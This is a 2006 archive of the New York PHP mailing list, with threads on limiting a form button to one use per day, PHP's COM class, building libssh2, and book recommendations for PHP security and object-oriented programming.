From karl_niarb at yahoo.com  Mon Jul  3 06:47:00 2006
From: karl_niarb at yahoo.com (Karl Brian Dano)
Date: Mon, 3 Jul 2006 03:47:00 -0700 (PDT)
Subject: [nycphp-talk] Help with Buttons and how I can only make pressable
	once a day
Message-ID: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>

Hi everyone,

Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a button and how can make the button only pressable (or be available for "pressing") once a day?

Help will be greatly appreciated.

 		
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From yournway at gmail.com  Mon Jul  3 07:09:17 2006
From: yournway at gmail.com (Alberto dos Santos)
Date: Mon, 3 Jul 2006 12:09:17 +0100
Subject: [nycphp-talk] Help with Buttons and how I can only make
	pressable once a day
In-Reply-To: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
Message-ID: <edce57650607030409n7f547eacqa1e8b0b07108cf75@mail.gmail.com>

Hi Karl,

I think it woul be helpfull if you would describe in a little more detail
what exacly is you need.

Like, pressable once a day, by whom, everybody, an administrator, every
single user?
Is it for a major critical task, like a daily backup?

All the info is precious.

HTH

On 03/07/06, Karl Brian Dano <karl_niarb at yahoo.com> wrote:
>
> Hi everyone,
>
> Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a
> button and how can make the button only pressable (or be available for
> "pressing") once a day?
>
> Help will be greatly appreciated.
>
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From lists at genoverly.net  Mon Jul  3 07:37:42 2006
From: lists at genoverly.net (michael)
Date: Mon, 3 Jul 2006 07:37:42 -0400
Subject: [nycphp-talk] Help with Buttons and how I can only make
 pressable once a day
In-Reply-To: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
Message-ID: <20060703073742.49f7c10e@wit.genoverly.home>

On Mon, 3 Jul 2006 03:47:00 -0700 (PDT)
Karl Brian Dano <karl_niarb at yahoo.com> wrote:

> Hi everyone,
> 
> Again, I need some help with PHP/MySQL. How do I assign a MySQL query
> to a button and how can make the button only pressable (or be
> available for "pressing") once a day?
> 
> Help will be greatly appreciated.

A button click in PHP (in the browser) does not send a signal like a
button click event in a gui desktop application (vb, WXWindows, qt, gtk,
tkinter, etc).  First you need an HTML form element and an input
element.  Each will have characteristics that tell the web server what
to do.  Here's some samples, spaced for easy reading:
  
<form 	name="form_page" 
	enctype="multipart/form-data" 
	action="./"
	method="post">

<input	type="submit" 
	name="btn_runquery" 
	value="Submit">

In the above case, your code needs to check the value of the button:
	if ( isset($_POST["btn_runquery"]) ) { // do stuff }

You can read up on HTML forms and other elements here:
http://www.w3.org/TR/html4/interact/forms.html

As for making it 'pressable' on a schedule.. you could 
1) always have the button available, but have the 'do stuff' check to
see if it is OK to run before it executes. 
2) have a 'button creating routine' that checks to see if it is OK to
run and either enable or disable the button whenever the form is
visited.

One idea that would work for either option.. have touching a file on
the file system the last thing in the 'do stuff' event. Then, the next
time the form is visited, your 'do stuff' or 'button creating routine'
can check the date on that touched file. If it already has today's date,
then do nothing (or disable button).  If it has yesterday's date; do
the event, and touch the file again (which gives it a new date).  It
doesn't have to be a file, it could be a record in the database.. or
anything persistent.

This is a really basic programming situation.  You might be a good
candidate for a NYPHP Training class (http://www.nyphp.com/training/).


-- 

Michael


From kenrbnsn at rbnsn.com  Mon Jul  3 11:51:37 2006
From: kenrbnsn at rbnsn.com (Ken Robinson)
Date: Mon, 03 Jul 2006 08:51:37 -0700
Subject: [nycphp-talk] Help with Buttons and how I can only make
 pressable once a day
In-Reply-To: <20060703073742.49f7c10e@wit.genoverly.home>
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
	<20060703073742.49f7c10e@wit.genoverly.home>
Message-ID: <7.0.1.0.2.20060703084620.094c2b20@rbnsn.com>

At 04:37 AM 7/3/2006, michael wrote:
>On Mon, 3 Jul 2006 03:47:00 -0700 (PDT)
>Karl Brian Dano <karl_niarb at yahoo.com> wrote:
>
> > Hi everyone,
> >
> > Again, I need some help with PHP/MySQL. How do I assign a MySQL query
> > to a button and how can make the button only pressable (or be
> > available for "pressing") once a day?
> >
> > Help will be greatly appreciated.
>
>A button click in PHP (in the browser) does not send a signal like a
>button click event in a gui desktop application (vb, WXWindows, qt, gtk,
>tkinter, etc).  First you need an HTML form element and an input
>element.  Each will have characteristics that tell the web server what
>to do.  Here's some samples, spaced for easy reading:

You could also use Javascript to set up the button and use AJAX to 
start a PHP script that interacts with MySQL. You could use logic in 
your main PHP script to decide whether or not to display the button.

Ken 




From tedd at sperling.com  Mon Jul  3 13:12:54 2006
From: tedd at sperling.com (tedd)
Date: Mon, 3 Jul 2006 13:12:54 -0400
Subject: [nycphp-talk] Help with Buttons and how I can only make
 pressable once a day
In-Reply-To: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
Message-ID: <p06230906c0ceffcb1eb7@[192.168.1.100]>

At 3:47 AM -0700 7/3/06, Karl Brian Dano wrote:
>Hi everyone,
>
>Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a button and how can make the button only pressable (or be available for "pressing") once a day?
>
>Help will be greatly appreciated.

Karl:

A bit more information is needed.

However, if something like, this --

http://xn--ovg.com/form/name_baby.php

-- will solve your problem, I'll tell you how I did it.

tedd
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From 1j0lkq002 at sneakemail.com  Mon Jul  3 14:29:36 2006
From: 1j0lkq002 at sneakemail.com (inforequest)
Date: Mon, 03 Jul 2006 11:29:36 -0700
Subject: [nycphp-talk] Help with Buttons and how I can only make
 pressable once a day
In-Reply-To: <p06230906c0ceffcb1eb7@[192.168.1.100]>
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
	<p06230906c0ceffcb1eb7@[192.168.1.100]>
Message-ID: <10587-39287@sneakemail.com>

tedd tedd-at-sperling.com |nyphp dev/internal group use| wrote:

>At 3:47 AM -0700 7/3/06, Karl Brian Dano wrote:
>  
>
>>Hi everyone,
>>
>>Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a button and how can make the button only pressable (or be available for "pressing") once a day?
>>
>>Help will be greatly appreciated.
>>    
>>
>
>Karl:
>
>A bit more information is needed.
>
>However, if something like, this --
>
>http://xn--ovg.com/form/name_baby.php
>
>-- will solve your problem, I'll tell you how I did it.
>
>tedd
>  
>
Of course if you try to prevent scammers from voting more than once a 
day, the simple cookie approach Tedd used for naming babies is not 
enough. Check out "sevin", my personal favorite (and now #3 on the list) :-)


http://xn--ovg.com/form/name_baby.php


-=john andrews
http://www.seo-fun.com


From tedd at sperling.com  Mon Jul  3 15:00:23 2006
From: tedd at sperling.com (tedd)
Date: Mon, 3 Jul 2006 15:00:23 -0400
Subject: [nycphp-talk] Help with Buttons and how I can only make
 pressable once a day
In-Reply-To: <10587-39287@sneakemail.com>
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
	<p06230906c0ceffcb1eb7@[192.168.1.100]> <10587-39287@sneakemail.com>
Message-ID: <p0623090bc0cf16cf83e7@[192.168.1.100]>

At 11:29 AM -0700 7/3/06, inforequest wrote:
>tedd tedd-at-sperling.com |nyphp dev/internal group use| wrote:
>
>>At 3:47 AM -0700 7/3/06, Karl Brian Dano wrote:
>> 
>>
>>>Hi everyone,
>>>
>>>Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a button and how can make the button only pressable (or be available for "pressing") once a day?
>>>
>>>Help will be greatly appreciated.
>>>   
>>>
>>
>>Karl:
>>
>>A bit more information is needed.
>>
>>However, if something like, this --
>>
> >http://xn--ovg.com/form/name_baby.php
>>
>>-- will solve your problem, I'll tell you how I did it.
>>
>>tedd
>> 
>>
>Of course if you try to prevent scammers from voting more than once a
>day, the simple cookie approach Tedd used for naming babies is not
>enough. Check out "sevin", my personal favorite (and now #3 on the list) :-)
>
>
>http://xn--ovg.com/form/name_baby.php
>
>-=john andrews

Hey, what are you doing voting more than once? You trying to screw up the results? :-)

If I was serious about securing a one vote per day thing, I would work out something a bit different. However, as I said "If something like this would solve your problem..."

If he wants something more secure, money is always a good incentive. Ya gets what's pay fer.

tedd
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From 1j0lkq002 at sneakemail.com  Mon Jul  3 15:45:50 2006
From: 1j0lkq002 at sneakemail.com (inforequest)
Date: Mon, 03 Jul 2006 12:45:50 -0700
Subject: [nycphp-talk] Help with Buttons and how I can only make
 pressable once a day
In-Reply-To: <p0623090bc0cf16cf83e7@[192.168.1.100]>
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>	<p06230906c0ceffcb1eb7@[192.168.1.100]>
	<10587-39287@sneakemail.com>
	<p0623090bc0cf16cf83e7@[192.168.1.100]>
Message-ID: <4171-72324@sneakemail.com>

tedd tedd-at-sperling.com |nyphp dev/internal group use| wrote:

>
>Hey, what are you doing voting more than once? You trying to screw up the results? :-)
>
>If I was serious about securing a one vote per day thing, I would work out something a bit different. However, as I said "If something like this would solve your problem..."
>
>If he wants something more secure, money is always a good incentive. Ya gets what's pay fer.
>
>tedd
>  
>
Hah. You'll have to go back about a month or so to see when Sevin was 
added to the list to truly appreciate the effort.   ;-)

Anyway, the point is just what several people pointed out when they 
asked for more info... the definition of    "how can [I] make the button 
only pressable (or be available for "pressing") once a day?"

For some of us, that is the script-kiddie problem that plagues PHP. It 
is easy to "adopt" a script but if you do, you adopt a set of 
assumptions (and coditions) along with it. Usually they are not obvious. 
That makes it "easy" because you don't need to think through those 
details, but it also makes it harder as you later discover those details 
are actually important. You may not be able to modify those adopted 
scripts as needed. And of course, if you never learn of the importance 
of the details, they may be out there awaiting exploitation.

I have no problem with scripts like yours, tedd, but it would be really 
useful if they came with some details of the assumptions made and links 
to tutorials that cover all the bases. Your outbound link could frame 
the issue, with the destination providing what is needed to understand 
the approach you took with that script.  Otherwise, as a list of "hot 
scripts" I could not  recommend them to anyone for fear of perpetuating 
the PHP script-kiddie problem. Clearly they serve some other purpose for 
you.

I thought Michael's reply was excellent because it addressed the 
question and provided outbound links when they are obviously needed 
here. but would it get read? I'm not sure, and especially when the 
reader could just adopt a script that looks like it works. It seems 
sooooooo easy to just go with the script, eh?

-=john andrews
http://www.seo-fun.com







From tedd at sperling.com  Mon Jul  3 19:20:04 2006
From: tedd at sperling.com (tedd)
Date: Mon, 3 Jul 2006 19:20:04 -0400
Subject: [nycphp-talk] Help with Buttons and how I can only make
 pressable once a day
In-Reply-To: <4171-72324@sneakemail.com>
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com>
	<p06230906c0ceffcb1eb7@[192.168.1.100]>	<10587-39287@sneakemail.com>
	<p0623090bc0cf16cf83e7@[192.168.1.100]> <4171-72324@sneakemail.com>
Message-ID: <p06230901c0cf4acad4bd@[192.168.1.100]>

At 12:45 PM -0700 7/3/06, inforequest wrote:
>For some of us, that is the script-kiddie problem that plagues PHP. It
>is easy to "adopt" a script but if you do, you adopt a set of
>assumptions (and coditions) along with it. Usually they are not obvious.
>That makes it "easy" because you don't need to think through those
>details, but it also makes it harder as you later discover those details
>are actually important. You may not be able to modify those adopted
>scripts as needed. And of course, if you never learn of the importance
>of the details, they may be out there awaiting exploitation.
>
>I have no problem with scripts like yours, tedd, but it would be really
>useful if they came with some details of the assumptions made and links
>to tutorials that cover all the bases. Your outbound link could frame
>the issue, with the destination providing what is needed to understand
>the approach you took with that script.  Otherwise, as a list of "hot
>scripts" I could not  recommend them to anyone for fear of perpetuating
>the PHP script-kiddie problem. Clearly they serve some other purpose for
>you.

Your points are well taken.

For example, when I first put up that script, I had someone do code injections and I learned the hard way what that was about -- there was no harm done. I'm sure the person was just showing me the dangers. I think I learned -- if nothing else, I bought Chris Shiflett's PHP Security book and just about memorized it.

As for me laying out what it is I'm doing on my site, that's more documentation that I'm prepared to do at the moment. That site is actually MY collection of my scripts where I try different things and learn first hand how they work, like what happened with injection thing. It's also my repository of snip-its I've developed so I can have starting foundations for future work. I do a lot of different things.

For example, last week I was creating a CAPTCHA with sound and that was interesting. As soon as I finish testing, I'll publish it for others to review. Yesterday I just learned how to create pdf documents (that's mondo cool) and I found a client who wants me to generate some MySQL/PDF forms for him. And today, I was reading about generating Flash from php -- tomorrow, who knows?

But the point is that while I might not be as advanced as the rest of you, the site in question is for my development and not really set up for selling script-kiddie scripts.

>I thought Michael's reply was excellent because it addressed the
>question and provided outbound links when they are obviously needed
>here. but would it get read? I'm not sure, and especially when the
>reader could just adopt a script that looks like it works. It seems
>sooooooo easy to just go with the script, eh?
>
>-=john andrews

Another point well taken.

In my defense of ignorance, I'm literally learning more each day and this is one of the ways I learn. If the poster wanted my script, or how I did it, then I would explain as best I could (as would anyone). If the poster and I are ignorant of problems beyond us, then I guess we will both will learn the hard way -- but who hasn't?

However, if your point includes that I should also refrain from commenting about things that may be beyond me, then I'm not sure as to how to respond. I believe that if you don't put your intellect at risk by demonstrating its limitations, then you don't learn.

As with all of us on the intellectual highway, we're always following someone.

Have a good 4th.

tedd

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From Consult at CovenantEDesign.com  Mon Jul  3 20:36:27 2006
From: Consult at CovenantEDesign.com (CED)
Date: Mon, 3 Jul 2006 20:36:27 -0400
Subject: [nycphp-talk] Help with Buttons and how I can only make
	pressable once a day
References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com><p06230906c0ceffcb1eb7@[192.168.1.100]>	<10587-39287@sneakemail.com><p0623090bc0cf16cf83e7@[192.168.1.100]>
	<4171-72324@sneakemail.com> <p06230901c0cf4acad4bd@[192.168.1.100]>
Message-ID: <010a01c69f01$e324a0d0$0619a8c0@ced>

Really the best thing for what it is you have described is a Flash front end
with an AMFPHP call. IMHO.

Edward JS Prevost II
Me at EdwardPrevost.info
www.EdwardPrevost.info

----- Original Message ----- 
From: "tedd" <tedd at sperling.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Monday, July 03, 2006 7:20 PM
Subject: Re: [nycphp-talk] Help with Buttons and how I can only make
pressable once a day


At 12:45 PM -0700 7/3/06, inforequest wrote:
>For some of us, that is the script-kiddie problem that plagues PHP. It
>is easy to "adopt" a script but if you do, you adopt a set of
>assumptions (and coditions) along with it. Usually they are not obvious.
>That makes it "easy" because you don't need to think through those
>details, but it also makes it harder as you later discover those details
>are actually important. You may not be able to modify those adopted
>scripts as needed. And of course, if you never learn of the importance
>of the details, they may be out there awaiting exploitation.
>
>I have no problem with scripts like yours, tedd, but it would be really
>useful if they came with some details of the assumptions made and links
>to tutorials that cover all the bases. Your outbound link could frame
>the issue, with the destination providing what is needed to understand
>the approach you took with that script.  Otherwise, as a list of "hot
>scripts" I could not  recommend them to anyone for fear of perpetuating
>the PHP script-kiddie problem. Clearly they serve some other purpose for
>you.

Your points are well taken.

For example, when I first put up that script, I had someone do code
injections and I learned the hard way what that was about -- there was no
harm done. I'm sure the person was just showing me the dangers. I think I
learned -- if nothing else, I bought Chris Shiflett's PHP Security book and
just about memorized it.

As for me laying out what it is I'm doing on my site, that's more
documentation that I'm prepared to do at the moment. That site is actually
MY collection of my scripts where I try different things and learn first
hand how they work, like what happened with injection thing. It's also my
repository of snip-its I've developed so I can have starting foundations for
future work. I do a lot of different things.

For example, last week I was creating a CAPTCHA with sound and that was
interesting. As soon as I finish testing, I'll publish it for others to
review. Yesterday I just learned how to create pdf documents (that's mondo
cool) and I found a client who wants me to generate some MySQL/PDF forms for
him. And today, I was reading about generating Flash from php -- tomorrow,
who knows?

But the point is that while I might not be as advanced as the rest of you,
the site in question is for my development and not really set up for selling
script-kiddie scripts.

>I thought Michael's reply was excellent because it addressed the
>question and provided outbound links when they are obviously needed
>here. but would it get read? I'm not sure, and especially when the
>reader could just adopt a script that looks like it works. It seems
>sooooooo easy to just go with the script, eh?
>
>-=john andrews

Another point well taken.

In my defense of ignorance, I'm literally learning more each day and this is
one of the ways I learn. If the poster wanted my script, or how I did it,
then I would explain as best I could (as would anyone). If the poster and I
are ignorant of problems beyond us, then I guess we will both will learn the
hard way -- but who hasn't?

However, if your point includes that I should also refrain from commenting
about things that may be beyond me, then I'm not sure as to how to respond.
I believe that if you don't put your intellect at risk by demonstrating its
limitations, then you don't learn.

As with all of us on the intellectual highway, we're always following
someone.

Have a good 4th.

tedd

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From max at neuropunks.org  Wed Jul  5 11:54:49 2006
From: max at neuropunks.org (Max Gribov)
Date: Wed, 05 Jul 2006 11:54:49 -0400
Subject: [nycphp-talk] PHP COM class
Message-ID: <44ABE0C9.5060000@neuropunks.org>

Hello all,
For some reason I cannot use the COM class in PHP.
I just installed fresh 5.1.4 version, and when I do:

$excel_app = new COM("Excel.application") or die ("did not connect to COM");

I simply get an error saying Class COM not found.

According to php.net that class is bundled in with the distro, and that 
is the correct syntax to access it, what gives?..

Anyone had any problem with this?

Thanks!

max


From max at neuropunks.org  Wed Jul  5 11:58:13 2006
From: max at neuropunks.org (Max Gribov)
Date: Wed, 05 Jul 2006 11:58:13 -0400
Subject: [nycphp-talk] PHP COM class
In-Reply-To: <44ABE0C9.5060000@neuropunks.org>
References: <44ABE0C9.5060000@neuropunks.org>
Message-ID: <44ABE195.6060304@neuropunks.org>

Well, reading is actually cooler than it sounds.
Apparently, that class is only for Windows platform, according to 
php.net manual

Does anyone know about similar things for *nix?

Namely, I am trying to read Excel files (I can write them very well 
thanks to the PEAR class), and I found an Excel reader, but for some 
reason I get syntax errors in its code include file, etc.
http://sourceforge.net/projects/phpexcelreader is the one I was trying 
to use, but it doesnt work. Other things on google involve paying for 
it, hence my interest in COM class.



Max Gribov wrote:
> Hello all,
> For some reason I cannot use the COM class in PHP.
> I just installed fresh 5.1.4 version, and when I do:
>
> $excel_app = new COM("Excel.application") or die ("did not connect to COM");
>
> I simply get an error saying Class COM not found.
>
> According to php.net that class is bundled in with the distro, and that 
> is the correct syntax to access it, what gives?..
>
> Anyone had any problem with this?
>
> Thanks!
>
> max
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From jbaer at VillageVoice.com  Wed Jul  5 13:34:01 2006
From: jbaer at VillageVoice.com (Baer, Jon)
Date: Wed, 5 Jul 2006 13:34:01 -0400
Subject: [nycphp-talk] libssh2 / pecl / ssh2stream wrapper
Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502BCF580@mail>

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Does anyone know where to actually find a version of libssh2 > 0.4?
 
Im trying to compile the PECL version (the pear install will not work
either) on freebsd and keep getting the following when I phpize it ...
 
libssh2 version >= 0.4 not found
 
I even commented it out in the configure script to override it and got a
successful build but ssh2_connect() kicks out with unknown symbols.
 
Has anyone successfully use the SSH2 stream wrapper in PHP5 yet?
 
Thanks.
 
- - Jon
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From arzala at gmail.com  Thu Jul  6 00:05:34 2006
From: arzala at gmail.com (Anirudh Zala)
Date: Thu, 06 Jul 2006 09:35:34 +0530
Subject: [nycphp-talk] PHP COM class
In-Reply-To: <44ABE195.6060304@neuropunks.org>
References: <44ABE0C9.5060000@neuropunks.org> <44ABE195.6060304@neuropunks.org>
Message-ID: <op.tb81nkqc6dyt8l@aum1.aum.com>

Please read my reply of thread "[nycphp-talk] PHP and MS Excel". It will  
help you in finding solution of your need.

http://lists.nyphp.org/pipermail/talk/2006-June/018824.html

Thanks

Zala

On Wed, 05 Jul 2006 21:28:13 +0530, Max Gribov <max at neuropunks.org> wrote:

> Well, reading is actually cooler than it sounds.
> Apparently, that class is only for Windows platform, according to
> php.net manual
>
> Does anyone know about similar things for *nix?
>
> Namely, I am trying to read Excel files (I can write them very well
> thanks to the PEAR class), and I found an Excel reader, but for some
> reason I get syntax errors in its code include file, etc.
> http://sourceforge.net/projects/phpexcelreader is the one I was trying
> to use, but it doesnt work. Other things on google involve paying for
> it, hence my interest in COM class.
>
>
>
> Max Gribov wrote:
>> Hello all,
>> For some reason I cannot use the COM class in PHP.
>> I just installed fresh 5.1.4 version, and when I do:
>>
>> $excel_app = new COM("Excel.application") or die ("did not connect to  
>> COM");
>>
>> I simply get an error saying Class COM not found.
>>
>> According to php.net that class is bundled in with the distro, and that
>> is the correct syntax to access it, what gives?..
>>
>> Anyone had any problem with this?
>>
>> Thanks!
>>
>> max
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From agfische at email.smith.edu  Thu Jul  6 11:07:55 2006
From: agfische at email.smith.edu (Aaron Fischer)
Date: Thu, 06 Jul 2006 11:07:55 -0400
Subject: [nycphp-talk] Book recommendations - security,
	object-oriented programming
Message-ID: <44AD274B.4000905@email.smith.edu>

Greetings,

I'm working on a project that has me thinking about purchasing one or 
two books.  The topics I'm interested in are:

1.  Security.  Discussion of practices for password storage and 
retrieval.  Transmission of data in a secure manner, e.g. encrypted, 
https, certificates, etc.  Also methods of cleaning/filtering/scrubbing 
data received from web forms.

2.  Getting up and running with object-oriented programming in PHP.

Detail:

1.  The project I am working on will allow users to create accounts.  I 
need to think about the best way to store their passwords and allow them 
to retrieve if lost, change if they so desire, etc.  As the information 
is somewhat sensitive there is a possibility I will need to be passing 
it via https vs. http.  Scrubbing and filtering the data to make sure 
nobody is intentionally or accidentally messing with my application.

2.  To date I have been working primarily with procedural programming 
techniques.  I am considering the benefits of object-oriented code for 
this project.  Ideally the book would include a discussion of benefits 
of using object-oriented code.

Thanks,

-Aaron


From SHalter at ThorntonTomasetti.com  Thu Jul  6 11:12:18 2006
From: SHalter at ThorntonTomasetti.com (Halter, Shari)
Date: Thu, 6 Jul 2006 11:12:18 -0400 
Subject: [nycphp-talk] Book recommendations - security,
	object-oriented	 programming
Message-ID: <AA081BBF5AEED7118ADF00065B3929D9117FD00F@ny1post.thettgroup.com>

I like PHP 5 Power Programming for objects.  Andi Gutmans, Stig Saether
Bakken, Derick Rethans.  Prentice Hall 2005. 


Shari L. Halter
Web Programmer
Thornton Tomasetti
51 Madison Avenue
New York, NY  10010
T 917.661.7800  F 917.661.7801  
D 917.661.7970  
SHalter at ThorntonTomasetti.com



-----Original Message-----
From: Aaron Fischer [mailto:agfische at email.smith.edu] 
Sent: Thursday, July 06, 2006 11:08 AM
To: NYPHP Talk
Subject: [nycphp-talk] Book recommendations - security, object-oriented
programming

Greetings,

I'm working on a project that has me thinking about purchasing one or two
books.  The topics I'm interested in are:

1.  Security.  Discussion of practices for password storage and retrieval.
Transmission of data in a secure manner, e.g. encrypted, https,
certificates, etc.  Also methods of cleaning/filtering/scrubbing data
received from web forms.

2.  Getting up and running with object-oriented programming in PHP.

Detail:

1.  The project I am working on will allow users to create accounts.  I need
to think about the best way to store their passwords and allow them to
retrieve if lost, change if they so desire, etc.  As the information is
somewhat sensitive there is a possibility I will need to be passing it via
https vs. http.  Scrubbing and filtering the data to make sure nobody is
intentionally or accidentally messing with my application.

2.  To date I have been working primarily with procedural programming
techniques.  I am considering the benefits of object-oriented code for this
project.  Ideally the book would include a discussion of benefits of using
object-oriented code.

Thanks,

-Aaron
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From jbaer at VillageVoice.com  Thu Jul  6 11:15:34 2006
From: jbaer at VillageVoice.com (Baer, Jon)
Date: Thu, 6 Jul 2006 11:15:34 -0400
Subject: [nycphp-talk] Book recommendations - security,
	object-oriented programming
In-Reply-To: <44AD274B.4000905@email.smith.edu>
Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail>

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For 1 Id highly recommend Chris Shifflet's book Essential PHP Security
...

http://phpsecurity.org/

There are a few free chapters there ... 

For your second question it would probably be worth while to check out a
few open source PHP frameworks like CakePHP or Symfony + look over there
techniques and hop on the mailing lists and post a few specific
questions, a good example is the Security component in CakePHP, much of
your "filtering" and "sanitizing" should be something you should not
have to code up yourself.  

Also a good resource is http://www.owasp.org

- - Jon

- -----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Aaron Fischer
Sent: Thursday, July 06, 2006 11:08 AM
To: NYPHP Talk
Subject: [nycphp-talk] Book recommendations - security,object-oriented
programming

Greetings,

I'm working on a project that has me thinking about purchasing one or
two books.  The topics I'm interested in are:

1.  Security.  Discussion of practices for password storage and
retrieval.  Transmission of data in a secure manner, e.g. encrypted,
https, certificates, etc.  Also methods of cleaning/filtering/scrubbing
data received from web forms.

2.  Getting up and running with object-oriented programming in PHP.

Detail:

1.  The project I am working on will allow users to create accounts.  I
need to think about the best way to store their passwords and allow them
to retrieve if lost, change if they so desire, etc.  As the information
is somewhat sensitive there is a possibility I will need to be passing
it via https vs. http.  Scrubbing and filtering the data to make sure
nobody is intentionally or accidentally messing with my application.

2.  To date I have been working primarily with procedural programming
techniques.  I am considering the benefits of object-oriented code for
this project.  Ideally the book would include a discussion of benefits
of using object-oriented code.

Thanks,

- -Aaron
_______________________________________________
New York PHP Community Talk Mailing List
http://lists.nyphp.org/mailman/listinfo/talk
New York PHP Conference and Expo 2006
http://www.nyphpcon.com
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http://www.nyphp.org/show_participation.php
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From lists at jack-scott.com  Thu Jul  6 11:21:43 2006
From: lists at jack-scott.com (lists at jack-scott.com)
Date: Thu, 06 Jul 2006 11:21:43 -0400
Subject: [nycphp-talk] Book recommendations - security,
	object-oriented	programming
In-Reply-To: <44AD274B.4000905@email.smith.edu>
References: <44AD274B.4000905@email.smith.edu>
Message-ID: <1152199303.9227.21.camel@localhost>


On Thu, 2006-07-06 at 11:07 -0400, Aaron Fischer wrote:
> Greetings,
> 
> I'm working on a project that has me thinking about purchasing one or 
> two books.  The topics I'm interested in are:
> 
> 1.  Security.  Discussion of practices for password storage and 
> retrieval.  Transmission of data in a secure manner, e.g. encrypted, 
> https, certificates, etc.  Also methods of cleaning/filtering/scrubbing 
> data received from web forms.
> 
> 2.  Getting up and running with object-oriented programming in PHP.


There are so many books out there, here's a couple I have read and
enjoyed.

For security, I enjoyed Essential PHP Security by Chris Shiflett
(O'Reilly) as well as Php|architect's Guide to PHP Security by Ilia
Alshanetsky (APress).

And for PHP OOP, I liked PHP5 Objects, Patterns, and Practice my Matt
Zandstra (APress) as well as Beginning PHP5 by Dan Squier (wrox press)

Hope these help, Good luck



From TBoyden at supercoups.com  Thu Jul  6 11:22:52 2006
From: TBoyden at supercoups.com (Timothy R Boyden)
Date: Thu, 6 Jul 2006 11:22:52 -0400
Subject: [nycphp-talk] Book recommendations - security,
	object-oriented programming
In-Reply-To: <44AD274B.4000905@email.smith.edu>
Message-ID: <C12F0900C695FF47AEE0A7C2C75760A001997B@greenmonster.supercoups.local>

PHP in a Nutshell by O'Reilly publishing is an excellent reference guide
I've been using. I've been reading up on the object-oriented approach
myself and Paul Hudson (the author) does a really good job describing it
and using it in example programs. Paul also covers security in the book
(which I haven't got to yet) but it's a short chapter and might not go
into the depth you need. The book references Essential PHP Security
(also by O'Reilly) as a resource to go into more depth on that subject.

Amazon Links:

http://www.amazon.com/gp/product/0596100671/sr=8-1/qid=1152199302/ref=pd
_bbs_1/102-4237996-3151341?ie=UTF8

http://www.amazon.com/gp/product/059600656X/qid=1152199336/sr=2-1/ref=pd
_bbs_b_2_1/102-4237996-3151341?s=books&v=glance&n=283155

Regards,

Tim Boyden

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-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Aaron Fischer
Sent: Thursday, July 06, 2006 11:08 AM
To: NYPHP Talk
Subject: [nycphp-talk] Book recommendations - security,object-oriented
programming

Greetings,

I'm working on a project that has me thinking about purchasing one or
two books.  The topics I'm interested in are:

1.  Security.  Discussion of practices for password storage and
retrieval.  Transmission of data in a secure manner, e.g. encrypted,
https, certificates, etc.  Also methods of cleaning/filtering/scrubbing
data received from web forms.

2.  Getting up and running with object-oriented programming in PHP.

Detail:

1.  The project I am working on will allow users to create accounts.  I
need to think about the best way to store their passwords and allow them
to retrieve if lost, change if they so desire, etc.  As the information
is somewhat sensitive there is a possibility I will need to be passing
it via https vs. http.  Scrubbing and filtering the data to make sure
nobody is intentionally or accidentally messing with my application.

2.  To date I have been working primarily with procedural programming
techniques.  I am considering the benefits of object-oriented code for
this project.  Ideally the book would include a discussion of benefits
of using object-oriented code.

Thanks,

-Aaron
_______________________________________________
New York PHP Community Talk Mailing List
http://lists.nyphp.org/mailman/listinfo/talk
New York PHP Conference and Expo 2006
http://www.nyphpcon.com
Show Your Participation in New York PHP
http://www.nyphp.org/show_participation.php


From jeff.knight at gmail.com  Thu Jul  6 11:23:38 2006
From: jeff.knight at gmail.com (Jeff Knight)
Date: Thu, 6 Jul 2006 10:23:38 -0500
Subject: [nycphp-talk] Book recommendations - security,
	object-oriented programming
In-Reply-To: <44AD274B.4000905@email.smith.edu>
References: <44AD274B.4000905@email.smith.edu>
Message-ID: <2ca9ba910607060823o51d2d1f7i29d4e7a2d514c084@mail.gmail.com>

and

Pro PHP Security

http://www.apress.com/book/bookDisplay.html?bID=437


From max at neuropunks.org  Thu Jul  6 11:18:50 2006
From: max at neuropunks.org (Max Gribov)
Date: Thu, 06 Jul 2006 11:18:50 -0400
Subject: [nycphp-talk] Book recommendations - security,
 object-oriented programming
In-Reply-To: <44AD274B.4000905@email.smith.edu>
References: <44AD274B.4000905@email.smith.edu>
Message-ID: <44AD29DA.6060408@neuropunks.org>

"The object oriented thought process" by Matt Weisfeld is a good guide 
to OOP in general.
Most examples are in Java, but the theory applies anywhere
http://search.barnesandnoble.com/booksearch/isbninquiry.asp?EAN=9780672326110&x=3111607

Aaron Fischer wrote:
> Greetings,
>
> I'm working on a project that has me thinking about purchasing one or 
> two books.  The topics I'm interested in are:
>
> 1.  Security.  Discussion of practices for password storage and 
> retrieval.  Transmission of data in a secure manner, e.g. encrypted, 
> https, certificates, etc.  Also methods of cleaning/filtering/scrubbing 
> data received from web forms.
>
> 2.  Getting up and running with object-oriented programming in PHP.
>
> Detail:
>
> 1.  The project I am working on will allow users to create accounts.  I 
> need to think about the best way to store their passwords and allow them 
> to retrieve if lost, change if they so desire, etc.  As the information 
> is somewhat sensitive there is a possibility I will need to be passing 
> it via https vs. http.  Scrubbing and filtering the data to make sure 
> nobody is intentionally or accidentally messing with my application.
>
> 2.  To date I have been working primarily with procedural programming 
